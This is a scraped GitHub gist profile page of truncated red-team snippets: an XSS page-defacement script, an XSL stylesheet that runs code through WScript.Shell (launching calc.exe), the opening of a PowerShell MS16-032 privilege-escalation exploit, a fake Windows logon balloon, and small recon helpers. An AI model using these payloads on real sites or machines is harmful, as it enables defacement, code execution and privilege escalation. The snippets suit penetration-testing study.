Skip to content

Instantly share code, notes, and snippets.

View benichmt1's full-sized avatar
🤔
??

Michael Benich benichmt1

🤔
??
View GitHub Profile
var title = "XSS Defacement";
var bgcolor = "#000000";
var image_url = "https://i.imgur.com/c7188co.jpg";
var text = "This page has been Hacked!";
var font_color = "#FF0000";
deface(title, bgcolor, image_url, text, font_color);
function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
document.title = pageTitle;
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="Jscript">
<![CDATA[
var x = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]></ms:script>
@benichmt1
benichmt1 / oauthServer.go
Last active November 16, 2017 19:35 — forked from staaldraad/oauthServer.go
A mini OAuth server for Azure
package main
import (
"crypto/tls"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
)
@benichmt1
benichmt1 / wlrmdr.ps1
Created June 5, 2017 21:01
Windows Logon Reminder Balloon
function Invoke-Wlrmdr {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, Position = 0)]
[String] $Message = "You are using pirated Windows",
[Parameter(Mandatory = $True, Position = 1)]
[String] $IconType = 'Key',
[Parameter(Mandatory = $True, Position = 2)]
[String] $Title = 'Windows Explorer'
@benichmt1
benichmt1 / search.py
Last active February 14, 2019 16:25
Google Scraper to replace FOCA
# requirements: selenium wget python 2.7
import time
import sys
import wget
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script.
Modifications by Mike Benich (@benichmt1).
Targets:
@benichmt1
benichmt1 / username-slice.py
Created June 16, 2016 20:10
Extracting user IDs from Burp output
import re
file = open("/root/Desktop/enum.txt","r")
out = open("enum-out.txt","w")
text = file.read()
m = re.findall(r'workgroup%5C(\w+)',text)
if m:
print ("\n".join(m))
### Keybase proof
I hereby claim:
* I am benichmt1 on github.
* I am benichmt1 (https://keybase.io/benichmt1) on keybase.
* I have a public key whose fingerprint is 25ED DBC4 1F27 0809 F976 591E 77BE 66D2 2608 12C9
To claim this, I am signing this object: